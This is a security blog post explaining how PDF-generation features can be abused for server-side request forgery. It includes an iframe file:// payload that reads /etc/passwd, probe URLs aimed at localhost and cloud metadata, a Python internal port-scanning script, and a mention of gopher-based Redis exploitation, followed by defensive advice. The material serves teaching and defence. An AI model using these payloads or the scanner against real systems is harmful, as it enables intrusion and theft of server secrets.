PDF Generators: The SSRF Attack Surface You are Overlooking
You have probably tested for SSRF in standard web forms. Everyone has. You chuck a URL into an input field, point it at 169.254.169.254, and hope for the best. But what if the application does not give you a URL field at all?
Let us talk about PDF generators.
More specifically, let us talk about how a “helpful” document previewer can become our very own internal network scanner. This is a technique we have used in real engagements, and it is consistently overlooked by developers.
The Core Problem: Rendering is Just Fetching
Most modern applications that generate PDFs from user input do not magically create the document from thin air. Under the hood, they are often performing a server-side HTTP request. You give it a web page URL, the server fetches that page, and then converts the HTML into a PDF. It is a classic Server-Side Request Forgery (SSRF) scenario, but hidden inside a document generator .
If the application does not validate the URL, we can tell the server to fetch internal resources instead of external websites. The server then renders the response—often containing internal secrets or network responses—into a PDF file that we can download.
From Document Previewer to Network Scanner
We encountered an internal application that allowed users to upload a webpage URL for conversion to a PDF. By simply entering http://127.0.0.1:9732, we forced the server to make a request to a service listening on its own localhost port. The generated PDF returned the contents of that service, which included sensitive information.
This is the principle of port scanning via PDF. We systematically change the port number in the URL. If the port is open and returns a response, that response is rendered into the PDF. If the port is closed, the PDF generation times out or returns an error. By observing the server’s response times and the content of the generated PDF, we can map the internal network and identify hidden services.
The File Protocol and Local File Inclusion
Sometimes, the URL-to-PDF service is not the only vector. We also see SSRF vulnerabilities in file upload features. Imagine an application that lets us upload an HTML or XML file to be converted into a PDF. The converter parses the uploaded file and, crucially, handles resources referenced within it.
If it does not sanitise protocols, we can include a reference to local files using the file:// protocol. CVE-2025-55853 is a perfect example of this. By uploading a carefully crafted HTML file, we can force the PDF converter to read and include sensitive system files like /etc/passwd directly inside the generated PDF.
Proof of Concept Payload (CVE-2025-55853)
We can use the following HTML payload. When the application renders this to a PDF, it will include the contents of the server’s local password file:
<[i]frame src="file:///etc/passwd" height="1000px" width="1000px">[i]frame> //Note: it supposedly an iframe tag, but we need to modify it so the post works
This technique transforms a file upload feature into a powerful Local File Inclusion (LFI) vulnerability, exposing credentials, configuration files, and source code.
Practical Exploitation: A Step-by-Step Approach
When we approach a PDF generator, we follow a structured methodology to turn it into a network scanner.
Step 1: Identify the Injection Point
We look for any of the following features:
- URL-to-PDF endpoints (usually
/convert?url=...or similar) - File upload to PDF converters (accepting HTML, XML, or Office documents)
- RSS/Feed readers that generate PDF digests
- Invoice or report generators that fetch logos or data from external sources
Step 2: Probe for SSRF
We start with simple tests to confirm the vulnerability:
http://127.0.0.1:8080
http://localhost:80
http://169.254.169.254/latest/meta-data/
If the server returns a PDF containing the response from these internal addresses, we have confirmed SSRF.
Step 3: Internal Network Scanning
Once we have SSRF, we can scan the internal network. We use a script to iterate through common internal IP ranges and ports, observing the server’s behaviour to identify open services.
Here is a Python snippet to automate this process. We use the requests library to interact with the PDF endpoint and measure response times for fingerprinting:
import requests
import time
target_url = "http://vulnerable-app.com/convert?url=http://"
internal_ips = [
"10.0.0.1", "10.0.0.2", "172.16.0.1", "192.168.1.1",
"169.254.169.254"
]
common_ports = [22, 80, 443, 3000, 5000, 5432, 6379, 8080, 9200]
def scan_ssrf(base, ip, port):
test_url = f"{base}{ip}:{port}"
try:
start = time.time()
r = requests.get(test_url, timeout=5)
elapsed = time.time() - start
if r.status_code < 500 and len(r.content) > 1000: # PDFs are usually large
print(f"[OPEN] {ip}:{port} - PDF generated in {elapsed:.2f}s")
# Save the PDF for analysis
with open(f"scan_{ip}_{port}.pdf", "wb") as f:
f.write(r.content)
elif elapsed > 2.0:
print(f"[SLOW] {ip}:{port} - possible timeout/filter")
except:
pass
for ip in internal_ips:
for port in common_ports:
scan_ssrf(target_url, ip, port)
Step 4: Exploiting Internal Services
Identifying an open port is only half the battle. We can then exploit internal services. For example, if we find an open Redis port (6379) on an internal host, we can use the gopher:// protocol to craft requests against Redis, often leading to remote code execution via cron jobs or SSH keys.
Taming the Beast: Defensive Measures
We have seen how devastating this can be. Here is how we recommend securing your applications:
- Strict Input Validation: Implement an allowlist for protocols, allowing only
httpandhttps. Never permitfile://,gopher://, ordict://. - IP Address Blocking: Use a library to resolve the hostname to an IP address and block all private and loopback addresses (e.g.,
127.0.0.1,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16). This prevents calls to internal networks. - Network Segmentation: Ensure that the PDF generation service runs in an isolated environment with restricted network egress. It should not be able to reach internal infrastructure or metadata services.
- Regular Patching: Vulnerabilities like CVE-2025-55853 are patched by vendors. Ensure you are running the latest, most secure version of any third-party PDF conversion libraries
That is the beauty of PDF generators. They are often treated as harmless document creators, but we have shown they can be weaponised as powerful reconnaissance tools. Next time you see a document previewer, remember: it is just an SSRF in disguise.
Note: This post was written with a help from AI :)